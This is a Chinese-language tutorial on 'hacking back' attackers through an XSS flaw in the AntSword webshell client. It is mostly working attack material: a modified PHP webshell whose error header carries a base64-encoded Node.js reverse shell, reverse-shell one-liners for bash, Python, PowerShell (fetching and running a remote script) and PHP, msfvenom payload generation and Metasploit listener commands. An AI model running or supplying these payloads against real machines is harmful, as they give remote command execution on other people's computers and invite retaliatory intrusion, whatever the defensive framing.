利用AntSword RCE进行溯源反制黑客
一、漏洞原理
由于蚁剑使用是html解析,并没有进行 XSS 保护过滤,html内容被解析了,导致xss漏洞。
二、复现
更改webshell为
<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ?>
三、反制
反弹shell:
建立一个控制目标的简易管道,(攻击者再代码中指定服务端,让受害者主机主动连接攻击者的程序)可以通过这个管道连接成功以后去执行系统命令
而建立这个管道有非常多种方式
比如利用Linux中的bash 或者python powershell php nodejs
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.201.129/powercat.ps1‘); powercat -c 192.168.201.129 -p 9999 -e cmd
php -r ‘$sock=fsockopen(“10.10.10.11”,443);exec(“/bin/sh -i &3 2>&3”);’
蚁剑支持nodjs脚本,因此可以基于nodejs实现反弹shell
nodejs rce的代码:
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.13.128", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
什么是nodejs
javascrpt是脚本语言 也就是通常情况下用在浏览器,嵌入到HTML网页中,由浏览器一边解释一边执行。 要想在服务器上运行js需要运行环境。
nodejs是一个基于Chrome V8引擎的JavaScript运行环境,可以让JavaScript运行在服务端的开发平台非浏览器上运行,让脚本语言JavaScript能作为服务器语言。
代码解析
1、利用process模块进行命令执行,用require来开启子进程进行命令执行
var net = require("net"), sh = require("child_process").exec("cmd.exe");
nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过生成多个子进程来处理其他事物。
在Node.js中,提供了一个child_process模块,通过它可以开启多个子进程,在多个子进程之间可以共享内存空间,可以通过子进程的互相通信来实现信息的交换。
nodejs创建子进程有四种方法,分别是spawn、fork、exec、execFile。
2、在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。
var client = new net.Socket();
client.connect(10086, "192.168.13.128", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}
net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。
3、输入输出重定向
client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);
重定向的原理是:
首先声明两个概念:主程序(重定向的操纵者)、子进程(被重定向的子进程)
如果要重定位stdout的话,先生成一个管道, 管道的写入端交给子进程去写,主程序从管道的读出端读数据,
然后可以把数据写成文件、显示等等。重定向stderr和stdout是相同的。
同理,要重定向stdin的话,生成一个管道, 管道的写入端由主程序写,子进程从管道的读出端读数据。
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
< :是对标准输入 0 重定向 > :是对标准输出 1 重定向
在nodejs中
stdin是标准输入,stdout是标准输出,stderr是标准错误输出。
大多数的命令行程序从stdin输入,输出到stdout或 stderr,重定向stdout,stderr,stdin。
在Windows编程中,重定向需要用到管道(Pipe)的概念。管道是一种用于在进程间共享数据的机制。
一个管道类似于一个管子的两端,一端是写入的,一端是读出的。由一个进程从写入端写入、另一个进程从读出端读出,从而实现通信,就向一个“管道”一样。
主机复现
一、nodejs
1、加密反弹shell代码:
http://www.jsons.cn/base64/ base64在线加解密
var net = require(“net”), sh = require(“child_process”).exec(“cmd.exe”);
var client = new net.Socket();
client.connect(10086, “192.168.13.128”, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
2、在受害服务器中替换webshell内容
<?PHP
header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`CnZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgc2ggPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlYygiY21kLmV4ZSIpOwp2YXIgY2xpZW50ID0gbmV3IG5ldC5Tb2NrZXQoKTsKY2xpZW50LmNvbm5lY3QoMTAwODYsICIxOTIuMTY4LjEwLjEyMSIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");
?>
3、监听端口
4、攻击机使用蚁剑连接webshell
5、成功反弹shell
反弹shell 得到了目标cmd
二、msf反弹shell
MSF生成 node.js
木马:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.13.137 LPORT=10086 -f raw -o payload.js
同样将代码加密以后替换掉webshell中内容
KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDg2LCAiMTkyLjE2OC4xMy4xMzciLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09ICJ1bmRlZmluZWQiKSB7IHNoLnN0ZG91dC5waXBlKGNsaWVudC5zb2NrZXQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQuc29ja2V0KTsgfSBlbHNlIHsgdXRpbC5wdW1wKHNoLnN0ZG91dCwgY2xpZW50LnNvY2tldCk7IHV0aWwucHVtcChzaC5zdGRlcnIsIGNsaWVudC5zb2NrZXQpOyB9IH0pOyBzb2NrZXQub24oImVycm9yIiwgZnVuY3Rpb24oZXJyb3IpIHsgY291bnRlcisrOyBpZihjb3VudGVyPD0gMTApeyBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgeyBTdGFnZXJSZXBlYXQoKTt9LCA1KjEwMDApOyB9IGVsc2UgcHJvY2Vzcy5leGl0KCk7IH0pOyB9IFN0YWdlclJlcGVhdCgpOyB9KSgpOw=
MSF开启监听,当攻击者再次点击链接webshell爆红而不知所以然的时候,我们已经成功溯源反制。
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost 192.168.13.130
set lport 10086
exploit